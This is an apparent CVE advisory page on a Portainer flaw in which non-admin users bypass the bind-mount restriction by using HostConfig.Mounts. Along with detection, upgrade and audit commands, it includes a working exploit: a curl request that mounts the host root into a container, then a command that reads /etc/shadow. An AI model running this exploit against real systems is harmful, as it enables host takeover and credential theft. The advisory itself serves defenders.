Listen to this Post
How the CVE works: The vulnerability exists in Portainer’s container-create proxy. Portainer offers an environment-level security setting “Disable bind mounts for non-administrators” that should block regular users from mounting host paths into containers. The enforcement logic only inspects the legacy `HostConfig.Binds` array in the incoming JSON request, but completely ignores the equivalent `HostConfig.Mounts` array. Both fields are interchangeable on the Docker daemon; a bind-typed entry under `HostConfig.Mounts` creates a real bind mount at runtime. An authenticated non-admin user with container-create rights can craft a POST `/containers/create` request containing a `Mounts` array with {"Type":"bind", "Source":"/host/path", "Target":"/container/path"}. The proxy fails to check this field, passes the request to the Docker daemon, and the daemon mounts the host path read-write or read-only. The same primitive is correctly enforced on Swarm service create against TaskTemplate.ContainerSpec.Mounts, but the container-create path was never fixed since the setting’s . Exploitation requires low privileges and no user interaction. The attacker can then read/write any host filesystem path (e.g., /etc/shadow, /var/run/docker.sock), compromise other containers, and achieve persistence. The bypass turns off the primary defence-in-depth control for shared environments.
dailycve form:
Platform: Portainer
Version: <2.33.8,<2.39.2,<2.41.0
Vulnerability: Bind mount bypass
Severity: High
Date: 2026-03-04
Prediction: Patched May 7
What Undercode Say:
Analytics:
Check if Portainer environment has bind mount restriction enabled curl -k -H "Authorization: Bearer $PORTAINER_TOKEN" \ "https://portainer.example/api/endpoints/1/docker/containers/json?all=true" | jq '.[].HostConfig.Binds' Detect containers created via HostConfig.Mounts bypass docker inspect $(docker ps -aq) | jq '.[] | select(.HostConfig.Mounts? | map(select(.Type=="bind")) | length >0) | .Name, .HostConfig.Mounts' Monitor Portainer proxy logs for suspicious container-create requests grep "POST /v1/containers/create" /var/log/portainer/portainer.log | grep -i "mounts"
How Exploit:
Attacker with valid Portainer API token and endpoint ID
curl -X POST "https://portainer.example/api/endpoints/1/docker/containers/create?name=malicious" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["sleep","3600"],
"HostConfig": {
"Mounts": [
{"Type":"bind", "Source":"/", "Target":"/host", "ReadOnly":false}
]
}
}'
Start container and read host filesystem
docker start malicious && docker exec malicious cat /host/etc/shadow
Protection from this CVE:
Upgrade to fixed versions: 2.33.8, 2.39.2, 2.41.0 or later
docker stop portainer && docker rm portainer
docker pull portainer/portainer-ce:2.41.0
docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer-ce:2.41.0
Workaround: revoke container-create rights from non-admin users
Via Portainer UI: Settings > Users > Remove "Container creation" permission
Or API: curl -X PUT "https://portainer.example/api/users/2/permissions" -d '{"EndpointId":1,"RoleId":2}'
Audit existing containers for bind mounts from non-admins
docker ps -q | xargs docker inspect | jq '.[] | {Name: .Name, Mounts: .HostConfig.Mounts}'
Impact:
- Full host filesystem read/write (including /etc/shadow, SSH keys, TLS certs)
- Container breakout to other containers via /var/lib/docker
- Docker socket takeover → complete host compromise
- Persistence via crontab, systemd, authorized_keys
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

